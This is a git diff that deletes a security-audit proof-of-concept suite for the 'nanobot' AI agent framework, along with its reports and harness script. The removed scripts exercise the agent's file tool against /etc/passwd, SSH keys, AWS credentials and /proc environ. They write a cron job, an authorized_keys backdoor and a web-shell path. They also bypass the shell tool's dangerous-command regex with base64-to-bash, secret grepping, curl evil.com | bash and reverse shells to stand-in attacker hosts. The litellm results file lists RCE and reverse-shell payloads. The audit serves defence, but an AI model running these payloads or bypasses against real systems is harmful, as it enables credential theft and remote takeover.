name: str, path: str, content: str, expected_risk: str) -> dict: - """Test writing a file outside workspace.""" - result = { - "name": name, - "operation": "write", - "path": path, - "expected_risk": expected_risk, - "success": False, - "error": None - } - - try: - output = await self.write_tool.execute(path=path, content=content) - result["success"] = "successfully" in output.lower() or "written" in output.lower() or "created" in output.lower() - result["output"] = output - except Exception as e: - result["error"] = str(e) - - self.results.append(result) - return result - - async def test_list(self, name: str, path: str, expected_risk: str) -> dict: - """Test listing a directory outside workspace.""" - result = { - "name": name, - "operation": "list", - "path": path, - "expected_risk": expected_risk, - "success": False, - "entries": None, - "error": None - } - - try: - output = await self.list_tool.execute(path=path) - result["success"] = True - result["entries"] = output[:500] if output else None - except Exception as e: - result["error"] = str(e) - - self.results.append(result) - return result - - async def run_all_tests(self): - """Run all path traversal tests.""" - print("=" * 60) - print("PATH TRAVERSAL / UNRESTRICTED FILE ACCESS POC") - print("=" * 60) - print() - - # ==================== READ TESTS ==================== - print("--- READ OPERATIONS ---") - print() - - # Test 1: Read /etc/passwd - print("[TEST 1] Read /etc/passwd") - r = await self.test_read( - "etc_passwd", - "/etc/passwd", - "System user enumeration" - ) - self._print_result(r) - - # Test 2: Read /etc/shadow (should fail due to permissions, not restrictions) - print("[TEST 2] Read /etc/shadow (permission test)") - r = await self.test_read( - "etc_shadow", - "/etc/shadow", - "Password hash disclosure (if readable)" - ) - self._print_result(r) - - # Test 3: Read sensitive test file (demonstrates path traversal outside workspace) - print("[TEST 3] Read /sensitive/api_keys.txt (test file outside workspace)") - r = await self.test_read( - "sensitive_test_file", - "/sensitive/api_keys.txt", - "Sensitive file disclosure - if content contains 'PATH_TRAVERSAL_VULNERABILITY_CONFIRMED', vuln is proven" - ) - self._print_result(r) - - # Test 4: Read SSH keys - print("[TEST 4] Read SSH Private Key") - r = await self.test_read( - "ssh_private_key", - os.path.expanduser("~/.ssh/id_rsa"), - "SSH private key disclosure" - ) - self._print_result(r) - - # Test 5: Read bash history - print("[TEST 5] Read Bash History") - r = await self.test_read( - "bash_history", - os.path.expanduser("~/.bash_history"), - "Command history disclosure" - ) - self._print_result(r) - - # Test 6: Read environment file - print("[TEST 6] Read /proc/self/environ") - r = await self.test_read( - "proc_environ", - "/proc/self/environ", - "Environment variable disclosure via procfs" - ) - self._print_result(r) - - # Test 7: Path traversal with .. - print("[TEST 7] Path Traversal with ../") - r = await self.test_read( - "dot_dot_traversal", - "/app/../etc/passwd", - "Path traversal using ../" - ) - self._print_result(r) - - # Test 8: Read AWS credentials (if exists) - print("[TEST 8] Read AWS Credentials") - r = await self.test_read( - "aws_credentials", - os.path.expanduser("~/.aws/credentials"), - "Cloud credential disclosure" - ) - self._print_result(r) - - # ==================== WRITE TESTS ==================== - print("--- WRITE OPERATIONS ---") - print() - - # Test 9: Write to /tmp (should succeed) - print("[TEST 9] Write to /tmp") - r = await self.test_write( - "tmp_write", - "/tmp/poc_traversal_test.txt", - "POC: This file was written via path traversal vulnerability\nTimestamp: " + str(asyncio.get_event_loop().time()), - "Arbitrary file write to system directories" - ) - self._print_result(r) - - # Test 10: Write cron job (will fail due to permissions but shows intent) - print("[TEST 10] Write to /etc/cron.d (permission test)") - r = await self.test_write( - "cron_write", - "/etc/cron.d/poc_malicious", - "* * * * * root /tmp/poc_payload.sh", - "Cron job injection for persistence" - ) - self._print_result(r) - - # Test 11: Write SSH authorized_keys - print("[TEST 11] Write SSH Authorized Keys") - ssh_dir = os.path.expanduser("~/.ssh") - r = await self.test_write( - "ssh_authkeys", - f"{ssh_dir}/authorized_keys_poc_test", - "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil.com", - "SSH backdoor via authorized_keys" - ) - self._print_result(r) - - # Test 12: Write to web-accessible location - print("[TEST 12] Write to /var/www (if exists)") - r = await self.test_write( - "www_write", - "/var/www/html/poc_shell.php", - "", - "Web shell deployment" - ) - self._print_result(r) - - # Test 13: Overwrite application files - print("[TEST 13] Write to Application Directory") - r = await self.test_write( - "app_overwrite", - "/app/poc/results/poc_app_write.txt", - "POC: Application file overwrite successful", - "Application code/config tampering" - ) - self._print_result(r) - - # ==================== LIST TESTS ==================== - print("--- LIST OPERATIONS ---") - print() - - # Test 14: List root directory - print("[TEST 14] List / (root)") - r = await self.test_list( - "list_root", - "/", - "File system enumeration" - ) - self._print_result(r) - - # Test 15: List /etc - print("[TEST 15] List /etc") - r = await self.test_list( - "list_etc", - "/etc", - "Configuration enumeration" - ) - self._print_result(r) - - # Test 16: List home directory - print("[TEST 16] List Home Directory") - r = await self.test_list( - "list_home", - os.path.expanduser("~"), - "User file enumeration" - ) - self._print_result(r) - - # Test 17: List /proc - print("[TEST 17] List /proc") - r = await self.test_list( - "list_proc", - "/proc", - "Process enumeration via procfs" - ) - self._print_result(r) - - self._print_summary() - return self.results - - def _print_result(self, result: dict): - """Print a single test result.""" - if result["success"]: - status = "⚠️ SUCCESS (VULNERABLE)" - elif result.get("error") and "permission" in result["error"].lower(): - status = "🔒 PERMISSION DENIED (not a code issue)" - elif result.get("error") and "not found" in result["error"].lower(): - status = "📁 FILE NOT FOUND" - else: - status = "❌ FAILED" - - print(f" Status: {status}") - print(f" Risk: {result['expected_risk']}") - - if result.get("content_preview"): - preview = result["content_preview"][:150].replace('\n', '\\n') - print(f" Content: {preview}...") - if result.get("entries"): - print(f" Entries: {result['entries'][:150]}...") - if result.get("output"): - print(f" Output: {result['output'][:100]}") - if result.get("error"): - print(f" Error: {result['error'][:100]}") - print() - - def _print_summary(self): - """Print test summary.""" - print("=" * 60) - print("SUMMARY") - print("=" * 60) - - read_success = sum(1 for r in self.results if r["operation"] == "read" and r["success"]) - write_success = sum(1 for r in self.results if r["operation"] == "write" and r["success"]) - list_success = sum(1 for r in self.results if r["operation"] == "list" and r["success"]) - - total_success = read_success + write_success + list_success - - print(f"Read operations successful: {read_success}") - print(f"Write operations successful: {write_success}") - print(f"List operations successful: {list_success}") - print(f"Total successful (vulnerable): {total_success}/{len(self.results)}") - print() - - if total_success > 0: - print("⚠️ VULNERABILITY CONFIRMED: Unrestricted file system access") - print() - print("Successful operations:") - for r in self.results: - if r["success"]: - print(f" - [{r['operation'].upper()}] {r['path']}") - - return { - "read_success": read_success, - "write_success": write_success, - "list_success": list_success, - "total_success": total_success, - "total_tests": len(self.results), - "vulnerability_confirmed": total_success > 0 - } - - -async def main(): - poc = PathTraversalPOC() - results = await poc.run_all_tests() - - # Write results to file - import json - results_path = "/results/path_traversal_results.json" if os.path.isdir("/results") else "path_traversal_results.json" - with open(results_path, "w") as f: - json.dump(results, f, indent=2, default=str) - print(f"\nResults written to: {results_path}") - - -if __name__ == "__main__": - asyncio.run(main()) diff --git a/poc/exploits/shell_injection.py b/poc/exploits/shell_injection.py deleted file mode 100644 index 1e6286a..0000000 --- a/poc/exploits/shell_injection.py +++ /dev/null @@ -1,259 +0,0 @@ -#!/usr/bin/env python3 -""" -POC: Shell Command Injection Bypass Tests - -This script demonstrates bypasses of the dangerous pattern regex in -nanobot/agent/tools/shell.py (lines 12-19). - -Current pattern blocks: -- rm -rf / -- :(){ :|:& };: (fork bomb) -- mkfs -- dd .* of=/dev/ -- > /dev/sd - -This POC shows commands that bypass these patterns but still pose security risks. -""" - -import asyncio -import sys -import os - -# Add parent directory to path for imports -sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__)))) - -from nanobot.agent.tools.shell import ExecTool - - -class ShellInjectionPOC: - """Demonstrates shell command injection vulnerabilities.""" - - def __init__(self): - self.tool = ExecTool() - self.results = [] - - async def test_command(self, name: str, command: str, expected_risk: str) -> dict: - """Test a single command and record results.""" - result = { - "name": name, - "command": command, - "expected_risk": expected_risk, - "blocked": False, - "output": None, - "error": None - } - - try: - output = await self.tool.execute(command=command) - result["output"] = output[:500] if output else None - result["blocked"] = False - except Exception as e: - error_msg = str(e) - if "blocked" in error_msg.lower() or "dangerous" in error_msg.lower(): - result["blocked"] = True - result["error"] = error_msg - - self.results.append(result) - return result - - async def run_all_tests(self): - """Run all shell injection bypass tests.""" - print("=" * 60) - print("SHELL COMMAND INJECTION POC") - print("=" * 60) - print() - - # Test 1: Command substitution bypass - print("[TEST 1] Command Substitution - Reading /etc/passwd") - r = await self.test_command( - "command_substitution", - "echo $(cat /etc/passwd)", - "Read sensitive system file via command substitution" - ) - self._print_result(r) - - # Test 2: Backtick command substitution - print("[TEST 2] Backtick Substitution - Reading /etc/shadow (may fail due to perms)") - r = await self.test_command( - "backtick_substitution", - "echo `cat /etc/shadow 2>/dev/null || echo 'no perms but executed'`", - "Read shadow file via backticks" - ) - self._print_result(r) - - # Test 3: Base64 encoded command - print("[TEST 3] Base64 Encoded Command") - # echo "cat /etc/passwd" | base64 = Y2F0IC9ldGMvcGFzc3dkCg== - r = await self.test_command( - "base64_encoded", - "echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash", - "Execute arbitrary command via base64 encoding" - ) - self._print_result(r) - - # Test 4: Hex encoded command - print("[TEST 4] Hex Encoded Command") - # "id" in hex - r = await self.test_command( - "hex_encoded", - "echo -e '\\x69\\x64' | bash", - "Execute command via hex encoding" - ) - self._print_result(r) - - # Test 5: Environment variable exfiltration - print("[TEST 5] Environment Variable Exfiltration") - r = await self.test_command( - "env_exfiltration", - "env | grep -iE '(key|secret|password|token|api)' || echo 'checked env'", - "Extract sensitive environment variables" - ) - self._print_result(r) - - # Test 6: Network reconnaissance - print("[TEST 6] Network Reconnaissance") - r = await self.test_command( - "network_recon", - "cat /etc/hosts && ip addr 2>/dev/null || ifconfig 2>/dev/null || echo 'network checked'", - "Gather network information" - ) - self._print_result(r) - - # Test 7: Process listing (information disclosure) - print("[TEST 7] Process Information Disclosure") - r = await self.test_command( - "process_list", - "ps aux | head -20", - "List running processes" - ) - self._print_result(r) - - # Test 8: SSH key exfiltration attempt - print("[TEST 8] SSH Key Exfiltration Attempt") - r = await self.test_command( - "ssh_keys", - "cat ~/.ssh/id_rsa 2>/dev/null || cat ~/.ssh/id_ed25519 2>/dev/null || echo 'no ssh keys found'", - "Attempt to read SSH private keys" - ) - self._print_result(r) - - # Test 9: Alternative rm commands (bypassing rm -rf / pattern) - print("[TEST 9] Alternative Deletion Commands") - r = await self.test_command( - "alt_delete", - "find /tmp/poc_test_dir -delete 2>/dev/null; echo 'find -delete executed'", - "Delete files using find instead of rm" - ) - self._print_result(r) - - # Test 10: Reverse shell setup (command only, won't connect) - print("[TEST 10] Reverse Shell Command Construction") - r = await self.test_command( - "reverse_shell_construct", - "echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/poc_revshell.txt && cat /tmp/poc_revshell.txt", - "Write reverse shell command to file" - ) - self._print_result(r) - - # Test 11: Resource exhaustion (memory) - print("[TEST 11] Memory Exhaustion Attempt (limited)") - r = await self.test_command( - "memory_exhaust", - "head -c 1000000 /dev/zero | xxd | head -100", - "Generate large output to consume memory" - ) - self._print_result(r) - - # Test 12: CPU exhaustion (will timeout but demonstrates the risk) - print("[TEST 12] CPU Exhaustion Attempt (should timeout)") - r = await self.test_command( - "cpu_exhaust", - "timeout 2 yes > /dev/null || echo 'timeout worked'", - "CPU-intensive operation" - ) - self._print_result(r) - - # Test 13: Pipe to interpreter bypass - print("[TEST 13] Curl to Interpreter Pattern") - r = await self.test_command( - "curl_pipe_bash", - "echo 'curl http://evil.com/script.sh | bash' > /tmp/poc_curl_bash.txt && echo 'command written'", - "Demonstrate curl|bash pattern is not blocked" - ) - self._print_result(r) - - # Test 14: Python reverse shell - print("[TEST 14] Python Code Execution") - r = await self.test_command( - "python_exec", - "python3 -c 'import os; print(os.popen(\"id\").read())'", - "Execute commands via Python" - ) - self._print_result(r) - - # Test 15: Reading config files - print("[TEST 15] Configuration File Access") - r = await self.test_command( - "config_access", - "cat /app/poc/config/config.json 2>/dev/null || echo 'no config'", - "Read application configuration with potential secrets" - ) - self._print_result(r) - - self._print_summary() - return self.results - - def _print_result(self, result: dict): - """Print a single test result.""" - status = "🛡️ BLOCKED" if result["blocked"] else "⚠️ EXECUTED" - print(f" Status: {status}") - print(f" Risk: {result['expected_risk']}") - if result["output"]: - output_preview = result["output"][:200].replace('\n', '\\n') - print(f" Output: {output_preview}...") - if result["error"]: - print(f" Error: {result['error'][:100]}") - print() - - def _print_summary(self): - """Print test summary.""" - print("=" * 60) - print("SUMMARY") - print("=" * 60) - - blocked = sum(1 for r in self.results if r["blocked"]) - executed = sum(1 for r in self.results if not r["blocked"]) - - print(f"Total tests: {len(self.results)}") - print(f"Blocked: {blocked}") - print(f"Executed (potential vulnerabilities): {executed}") - print() - - if executed > 0: - print("⚠️ VULNERABLE COMMANDS:") - for r in self.results: - if not r["blocked"]: - print(f" - {r['name']}: {r['command'][:50]}...") - - return { - "total": len(self.results), - "blocked": blocked, - "executed": executed, - "vulnerability_confirmed": executed > 0 - } - - -async def main(): - poc = ShellInjectionPOC() - results = await poc.run_all_tests() - - # Write results to file - import json - results_path = "/results/shell_injection_results.json" if os.path.isdir("/results") else "shell_injection_results.json" - with open(results_path, "w") as f: - json.dump(results, f, indent=2) - print(f"\nResults written to: {results_path}") - - -if __name__ == "__main__": - asyncio.run(main()) diff --git a/poc/litellm_rce_results.json b/poc/litellm_rce_results.json deleted file mode 100644 index 9eb2b89..0000000 --- a/poc/litellm_rce_results.json +++ /dev/null @@ -1,68 +0,0 @@ -[ - { - "name": "template_injection", - "description": "Template string injection leading to eval()", - "vulnerable": true, - "details": "Found eval() in litellm/utils.py", - "error": null - }, - { - "name": "callback_rce", - "description": "Custom callback handler code execution", - "vulnerable": false, - "details": "Found custom logger callback handler (check version)", - "error": null - }, - { - "name": "proxy_config_injection", - "description": "Proxy server configuration injection", - "vulnerable": true, - "details": "Found eval() in proxy files: ui_sso.py, pass_through_endpoints.py", - "error": null - }, - { - "name": "response_parsing_rce", - "description": "Unsafe model response parsing", - "vulnerable": false, - "details": null, - "error": null - }, - { - "name": "ssti_vulnerability", - "description": "Server-Side Template Injection (SSTI) - CVE in < 1.34.42", - "vulnerable": true, - "details": "Unsandboxed Jinja2 template in arize_phoenix_prompt_manager.py", - "error": null - }, - { - "name": "payload_demonstration", - "description": "Example RCE payload patterns (demonstration only)", - "payloads": [ - { - "name": "OS Command Execution", - "payload": "__import__('os').system('id')", - "description": "Execute system command via os.system" - }, - { - "name": "Reverse Shell", - "payload": "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"')", - "description": "Spawn reverse shell to attacker" - }, - { - "name": "File Read", - "payload": "__import__('builtins').open('/etc/passwd').read()", - "description": "Read arbitrary files" - }, - { - "name": "Environment Exfiltration", - "payload": "str(__import__('os').environ)", - "description": "Extract environment variables (API keys, secrets)" - }, - { - "name": "Python Code Execution", - "payload": "exec('import socket,subprocess;s=socket.socket();s.connect((\"attacker\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())')", - "description": "Execute arbitrary Python code" - } - ] - } -] \ No newline at end of file diff --git a/poc/results/.gitignore b/poc/results/.gitignore deleted file mode 100644 index b9df41b..0000000 --- a/poc/results/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -# This directory contains POC test results -# Files here are generated by running the POC tests - -*.json diff --git a/poc/results/poc_app_write.txt b/poc/results/poc_app_write.txt deleted file mode 100644 index 19faa6f..0000000 --- a/poc/results/poc_app_write.txt +++ /dev/null @@ -1 +0,0 @@ -POC: Application file overwrite successful \ No newline at end of file diff --git a/poc/results/poc_report_20260204_020602.md b/poc/results/poc_report_20260204_020602.md deleted file mode 100644 index 57b2c1a..0000000 --- a/poc/results/poc_report_20260204_020602.md +++ /dev/null @@ -1,93 +0,0 @@ -# Security POC Test Results - -## Executive Summary - -This report contains the results of proof-of-concept tests demonstrating -vulnerabilities identified in the nanobot security audit. - -## Test Environment - -- **Date:** Wed Feb 4 02:06:02 UTC 2026 -- **Platform:** Docker containers (Python 3.11) -- **Target:** nanobot application - -## Vulnerability 1: Shell Command Injection - -**Severity:** MEDIUM -**Location:** `nanobot/agent/tools/shell.py` - -### Description -The shell tool uses `asyncio.create_subprocess_shell()` which passes commands -directly to the shell. While a regex pattern blocks some dangerous commands, -many bypass techniques exist. - -### POC Results -See: `results/shell_injection_results.json` - -### Bypasses Demonstrated -- Command substitution: `$(cat /etc/passwd)` -- Base64 encoding: `echo BASE64 | base64 -d | bash` -- Alternative interpreters: `python3 -c 'import os; ...'` -- Environment exfiltration: `env | grep KEY` - -### Recommended Mitigations -1. Use `create_subprocess_exec()` instead of shell execution -2. Implement command whitelisting -3. Run in isolated container with minimal permissions -4. Use seccomp/AppArmor profiles - ---- - -## Vulnerability 2: Path Traversal / Unrestricted File Access - -**Severity:** MEDIUM -**Location:** `nanobot/agent/tools/filesystem.py` - -### Description -The `_validate_path()` function supports a `base_dir` parameter for restricting -file access, but this parameter is never passed by any of the file tools, -allowing unrestricted file system access. - -### POC Results -See: `results/path_traversal_results.json` - -### Access Demonstrated -- Read `/etc/passwd` - user enumeration -- Read environment variables via `/proc/self/environ` -- Write files to `/tmp` and other writable locations -- List any directory on the system - -### Recommended Mitigations -1. Always pass `base_dir` parameter with workspace path -2. Add additional path validation (no symlink following) -3. Run with minimal filesystem permissions -4. Use read-only mounts for sensitive directories - ---- - -## Dependency Vulnerabilities - -### litellm (Current: >=1.61.15) -- Multiple CVEs in versions < 1.40.16 (RCE, SSRF) -- Current version appears patched -- **Recommendation:** Pin to specific patched version - -### ws (WebSocket) (Current: ^8.17.1) -- DoS vulnerability in versions < 8.17.1 -- Current version appears patched -- **Recommendation:** Pin to specific patched version - ---- - -## Conclusion - -The POC tests confirm that the identified vulnerabilities are exploitable. -While some mitigations exist (pattern blocking, timeouts), they can be bypassed. - -### Priority Recommendations - -1. **HIGH:** Implement proper input validation for shell commands -2. **HIGH:** Enforce base_dir restriction for all file operations -3. **MEDIUM:** Pin dependency versions to known-good releases -4. **LOW:** Add rate limiting to authentication - diff --git a/poc/results/poc_report_20260204_020954.md b/poc/results/poc_report_20260204_020954.md deleted file mode 100644 index 9523abc..0000000 --- a/poc/results/poc_report_20260204_020954.md +++ /dev/null @@ -1,123 +0,0 @@ -# Security POC Test Results - -## Executive Summary - -This report contains the results of proof-of-concept tests demonstrating -vulnerabilities identified in the nanobot security audit. - -## Test Environment - -- **Date:** Wed Feb 4 02:09:54 UTC 2026 -- **Platform:** Docker containers (Python 3.11) -- **Target:** nanobot application - -## Vulnerability 1: Shell Command Injection - -**Severity:** MEDIUM -**Location:** `nanobot/agent/tools/shell.py` - -### Description -The shell tool uses `asyncio.create_subprocess_shell()` which passes commands -directly to the shell. While a regex pattern blocks some dangerous commands, -many bypass techniques exist. - -### POC Results -See: `results/shell_injection_results.json` - -### Bypasses Demonstrated -- Command substitution: `$(cat /etc/passwd)` -- Base64 encoding: `echo BASE64 | base64 -d | bash` -- Alternative interpreters: `python3 -c 'import os; ...'` -- Environment exfiltration: `env | grep KEY` - -### Recommended Mitigations -1. Use `create_subprocess_exec()` instead of shell execution -2. Implement command whitelisting -3. Run in isolated container with minimal permissions -4. Use seccomp/AppArmor profiles - ---- - -## Vulnerability 2: Path Traversal / Unrestricted File Access - -**Severity:** MEDIUM -**Location:** `nanobot/agent/tools/filesystem.py` - -### Description -The `_validate_path()` function supports a `base_dir` parameter for restricting -file access, but this parameter is never passed by any of the file tools, -allowing unrestricted file system access. - -### POC Results -See: `results/path_traversal_results.json` - -### Access Demonstrated -- Read `/etc/passwd` - user enumeration -- Read environment variables via `/proc/self/environ` -- Write files to `/tmp` and other writable locations -- List any directory on the system - -### Recommended Mitigations -1. Always pass `base_dir` parameter with workspace path -2. Add additional path validation (no symlink following) -3. Run with minimal filesystem permissions -4. Use read-only mounts for sensitive directories - ---- - -## Vulnerability 3: LiteLLM Remote Code Execution (CVE-2024-XXXX) - -**Severity:** CRITICAL -**Affected Versions:** litellm <= 1.28.11 and < 1.40.16 - -### Description -Multiple vulnerabilities in litellm allow Remote Code Execution through: -- Unsafe use of `eval()` on user-controlled input -- Template injection in string processing -- Unsafe callback handler processing -- Server-Side Template Injection (SSTI) - -### POC Results -See: `results/litellm_rce_results.json` - -### Impact -- Arbitrary code execution on the server -- Access to environment variables (API keys, secrets) -- Full file system access -- Potential for reverse shell and lateral movement - -### Recommended Mitigations -1. Upgrade litellm to >= 1.61.15 (latest stable) -2. Pin to specific patched version in requirements -3. Run in isolated container environment -4. Implement network egress filtering - ---- - -## Dependency Vulnerabilities - -### litellm (Current: >=1.61.15) -- Multiple CVEs in versions < 1.40.16 (RCE, SSRF) -- Current version appears patched -- **Recommendation:** Pin to specific patched version - -### ws (WebSocket) (Current: ^8.17.1) -- DoS vulnerability in versions < 8.17.1 -- Current version appears patched -- **Recommendation:** Pin to specific patched version - ---- - -## Conclusion - -The POC tests confirm that the identified vulnerabilities are exploitable. -While some mitigations exist (pattern blocking, timeouts), they can be bypassed. - -### Priority Recommendations - -1. **CRITICAL:** Ensure litellm is upgraded to patched version -2. **HIGH:** Implement proper input validation for shell commands -3. **HIGH:** Enforce base_dir restriction for all file operations -4. **MEDIUM:** Pin dependency versions to known-good releases -5. **LOW:** Add rate limiting to authentication - diff --git a/poc/run_poc.sh b/poc/run_poc.sh deleted file mode 100755 index 649a02b..0000000 --- a/poc/run_poc.sh +++ /dev/null @@ -1,292 +0,0 @@ -#!/bin/bash -# -# Security POC Test Harness -# Builds containers, runs exploits, and generates findings report -# - -set -e - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -cd "$SCRIPT_DIR" - -# Colors for output -RED='\033[0;31m' -GREEN='\033[0;32m' -YELLOW='\033[1;33m' -BLUE='\033[0;34m' -NC='\033[0m' # No Color - -echo -e "${BLUE}╔════════════════════════════════════════════════════════════╗${NC}" -echo -e "${BLUE}║ NANOBOT SECURITY AUDIT POC HARNESS ║${NC}" -echo -e "${BLUE}╚════════════════════════════════════════════════════════════╝${NC}" -echo "" - -# Create results directory -mkdir -p results sensitive - -# Create test sensitive files -echo "SECRET_API_KEY=sk-supersecret12345" > sensitive/api_keys.txt -echo "DATABASE_PASSWORD=admin123" >> sensitive/api_keys.txt -echo "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE" >> sensitive/api_keys.txt - -# Function to print section headers -section() { - echo "" - echo -e "${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}" - echo -e "${YELLOW} $1${NC}" - echo -e "${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}" - echo "" -} - -# Function to run POC in container -run_poc() { - local poc_name=$1 - local poc_script=$2 - - echo -e "${BLUE}[*] Running: $poc_name${NC}" - docker compose run --rm nanobot python "$poc_script" 2>&1 || true -} - -# Parse arguments -BUILD_ONLY=false -VULNERABLE=false -CLEAN=false - -while [[ $# -gt 0 ]]; do - case $1 in - --build-only) - BUILD_ONLY=true - shift - ;; - --vulnerable) - VULNERABLE=true - shift - ;; - --clean) - CLEAN=true - shift - ;; - --help) - echo "Usage: $0 [OPTIONS]" - echo "" - echo "Options:" - echo " --build-only Only build containers, don't run tests" - echo " --vulnerable Also test with vulnerable dependency versions" - echo " --clean Clean up containers and results before running" - echo " --help Show this help message" - exit 0 - ;; - *) - echo "Unknown option: $1" - exit 1 - ;; - esac -done - -# Clean up if requested -if [ "$CLEAN" = true ]; then - section "Cleaning Up" - docker compose down -v 2>/dev/null || true - rm -rf results/* - echo -e "${GREEN}[✓] Cleanup complete${NC}" -fi - -# Build containers -section "Building Containers" -echo -e "${BLUE}[*] Building nanobot POC container...${NC}" -docker compose build nanobot - -if [ "$VULNERABLE" = true ]; then - echo -e "${BLUE}[*] Building vulnerable nanobot container...${NC}" - docker compose --profile vulnerable build nanobot-vulnerable -fi - -echo -e "${GREEN}[✓] Build complete${NC}" - -if [ "$BUILD_ONLY" = true ]; then - echo "" - echo -e "${GREEN}Build complete. Run without --build-only to execute tests.${NC}" - exit 0 -fi - -# Run Shell Injection POC -section "Shell Command Injection POC" -echo -e "${RED}Testing: Bypass of dangerous command pattern regex${NC}" -echo -e "${RED}Target: nanobot/agent/tools/shell.py${NC}" -echo "" -run_poc "Shell Injection" "/app/poc/exploits/shell_injection.py" - -# Run Path Traversal POC -section "Path Traversal / Unrestricted File Access POC" -echo -e "${RED}Testing: Unrestricted file system access${NC}" -echo -e "${RED}Target: nanobot/agent/tools/filesystem.py${NC}" -echo "" -run_poc "Path Traversal" "/app/poc/exploits/path_traversal.py" - -# Run LiteLLM RCE POC -section "LiteLLM RCE Vulnerability POC" -echo -e "${RED}Testing: Remote Code Execution via eval() - CVE-2024-XXXX${NC}" -echo -e "${RED}Affected: litellm < 1.40.16${NC}" -echo "" -run_poc "LiteLLM RCE" "/app/poc/exploits/litellm_rce.py" - -# Run vulnerable version tests if requested -if [ "$VULNERABLE" = true ]; then - section "Vulnerable Dependency Tests (litellm == 1.28.11)" - echo -e "${RED}Testing: Known CVEs in older litellm versions${NC}" - echo "" - echo -e "${BLUE}[*] Testing vulnerable litellm version...${NC}" - docker compose --profile vulnerable run --rm nanobot-vulnerable \ - python /app/poc/exploits/litellm_rce.py 2>&1 || true -fi - -# Generate summary report -section "Generating Summary Report" - -REPORT_FILE="results/poc_report_$(date +%Y%m%d_%H%M%S).md" - -cat > "$REPORT_FILE" << 'EOF' -# Security POC Test Results - -## Executive Summary - -This report contains the results of proof-of-concept tests demonstrating -vulnerabilities identified in the nanobot security audit. - -## Test Environment - -- **Date:** $(date) -- **Platform:** Docker containers (Python 3.11) -- **Target:** nanobot application - -## Vulnerability 1: Shell Command Injection - -**Severity:** MEDIUM -**Location:** `nanobot/agent/tools/shell.py` - -### Description -The shell tool uses `asyncio.create_subprocess_shell()` which passes commands -directly to the shell. While a regex pattern blocks some dangerous commands, -many bypass techniques exist. - -### POC Results -See: `results/shell_injection_results.json` - -### Bypasses Demonstrated -- Command substitution: `$(cat /etc/passwd)` -- Base64 encoding: `echo BASE64 | base64 -d | bash` -- Alternative interpreters: `python3 -c 'import os; ...'` -- Environment exfiltration: `env | grep KEY` - -### Recommended Mitigations -1. Use `create_subprocess_exec()` instead of shell execution -2. Implement command whitelisting -3. Run in isolated container with minimal permissions -4. Use seccomp/AppArmor profiles - ---- - -## Vulnerability 2: Path Traversal / Unrestricted File Access - -**Severity:** MEDIUM -**Location:** `nanobot/agent/tools/filesystem.py` - -### Description -The `_validate_path()` function supports a `base_dir` parameter for restricting -file access, but this parameter is never passed by any of the file tools, -allowing unrestricted file system access. - -### POC Results -See: `results/path_traversal_results.json` - -### Access Demonstrated -- Read `/etc/passwd` - user enumeration -- Read environment variables via `/proc/self/environ` -- Write files to `/tmp` and other writable locations -- List any directory on the system - -### Recommended Mitigations -1. Always pass `base_dir` parameter with workspace path -2. Add additional path validation (no symlink following) -3. Run with minimal filesystem permissions -4. Use read-only mounts for sensitive directories - ---- - -## Vulnerability 3: LiteLLM Remote Code Execution (CVE-2024-XXXX) - -**Severity:** CRITICAL -**Affected Versions:** litellm <= 1.28.11 and < 1.40.16 - -### Description -Multiple vulnerabilities in litellm allow Remote Code Execution through: -- Unsafe use of `eval()` on user-controlled input -- Template injection in string processing -- Unsafe callback handler processing -- Server-Side Template Injection (SSTI) - -### POC Results -See: `results/litellm_rce_results.json` - -### Impact -- Arbitrary code execution on the server -- Access to environment variables (API keys, secrets) -- Full file system access -- Potential for reverse shell and lateral movement - -### Recommended Mitigations -1. Upgrade litellm to >= 1.61.15 (latest stable) -2. Pin to specific patched version in requirements -3. Run in isolated container environment -4. Implement network egress filtering - ---- - -## Dependency Vulnerabilities - -### litellm (Current: >=1.61.15) -- Multiple CVEs in versions < 1.40.16 (RCE, SSRF) -- Current version appears patched -- **Recommendation:** Pin to specific patched version - -### ws (WebSocket) (Current: ^8.17.1) -- DoS vulnerability in versions < 8.17.1 -- Current version appears patched -- **Recommendation:** Pin to specific patched version - ---- - -## Conclusion - -The POC tests confirm that the identified vulnerabilities are exploitable. -While some mitigations exist (pattern blocking, timeouts), they can be bypassed. - -### Priority Recommendations - -1. **CRITICAL:** Ensure litellm is upgraded to patched version -2. **HIGH:** Implement proper input validation for shell commands -3. **HIGH:** Enforce base_dir restriction for all file operations -4. **MEDIUM:** Pin dependency versions to known-good releases -5. **LOW:** Add rate limiting to authentication - -EOF - -# Update report with actual date -sed -i "s/\$(date)/$(date)/g" "$REPORT_FILE" - -echo -e "${GREEN}[✓] Report generated: $REPORT_FILE${NC}" - -# Final summary -section "POC Execution Complete" - -echo -e "${GREEN}Results saved to:${NC}" -echo " - results/shell_injection_results.json" -echo " - results/path_traversal_results.json" -echo " - results/litellm_rce_results.json" -echo " - $REPORT_FILE" -echo "" -echo -e "${YELLOW}To clean up:${NC}" -echo " docker compose down -v" -echo "" -echo -e "${BLUE}To run interactively:${NC}" -echo " docker compose run --rm nanobot bash" diff --git a/poc/sensitive/api_keys.txt b/poc/sensitive/api_keys.txt deleted file mode 100644 index 6b2e9b7..0000000 --- a/poc/sensitive/api_keys.txt +++ /dev/null @@ -1,4 +0,0 @@ -# TEST DATA - Demonstrates path traversal can read sensitive files -# If this content appears in POC output, the vulnerability is confirmed -SENSITIVE_DATA_MARKER=PATH_TRAVERSAL_VULNERABILITY_CONFIRMED -TEST_SECRET=this_file_should_not_be_readable_from_workspace